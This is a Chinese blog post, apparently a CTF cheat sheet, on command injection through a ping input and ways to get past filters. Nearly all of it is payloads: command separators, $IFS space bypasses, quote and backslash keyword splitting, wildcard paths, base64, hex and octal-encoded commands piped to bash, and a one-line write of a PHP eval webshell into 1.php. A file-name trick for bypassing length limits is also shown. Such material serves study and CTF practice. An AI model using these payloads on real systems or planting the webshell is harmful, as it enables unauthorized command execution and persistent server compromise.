ping命令执行及bypass

常见bypass及一些奇淫技巧

管道符

windows 下

|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

Linux 下

;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

命令分割符被过滤

使用下面两个

1
2
%0a换行符,需要php环境
%0d回车符,需要php环境

空格绕过

常见的绕过符号有: $IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、>
$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,
加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用 ;为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
不仅 $9可以使用,我试了试其他的数字也都可以正确绕过。

过滤目录分隔符

目录分隔符/我们可以使用$HOME代替,HOME也是shell中的一个环境变量,表示当前用户的根目录,我们可以看看当前用户的HOME值是什么

sCegiD.png

可以看到当前用户的根目录是/home/www-data,我们只需要/,所以我们可以用${HOME:0:1}来实现

关键词过滤

单引号绕过

1
w'h'o'am'i

双引号绕过

1
w"h"o"am"i

反斜线

1
c\at fl\ag

正则 (假设/bin/cat: test: 是一个目录)

1
2
3
/???/?[a][t] ?''?''?''?''`
`/???/?at ????`
`/???/?[a]''[t] ?''?''?''?''

使用 $@ 绕过

1
who$@ami

用通配符绕过

1
powershell C:\*\*2\n??e*d.*? # notepad

cat被过滤

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

命令执行函数被过滤

1
2
3
4
5
6
7
8
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

利用编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#base64
echo Y2F0IC9mbGFn|base64 -d|bash ==>cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
echo Y2F0IGZsYWcucGhw|base64 -d|bash==>cat flag.php
echo Y2F0IGZsYWcucGhw|base64 -d|sh==>cat flag.php
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#i也可以通过这种方式写马
内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

奇淫妓巧

内联执行执行

1
2
3
cat$IFS$9`ls`
cat$IFS$9$(ls)
这两个命令也意思就是执行当前目录下的所有文件

(内联,就是将``或$()内命令的输出作为输入执行)


利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/桌面# ls -t >a #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found
1
2
3
\ 是指换行
ls -t将文件按时间排序输出
sh命令可以从一个文件中读取命令来执行

参考博客 https://www.cnblogs.com/NPFS/p/13279815.html

https://www.cnblogs.com/micr067/p/12590152.html

https://blog.csdn.net/qq_45552960/article/details/104576189

https://blog.csdn.net/qq_42812036/article/details/104297163

https://www.freesion.com/article/9046720644/

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~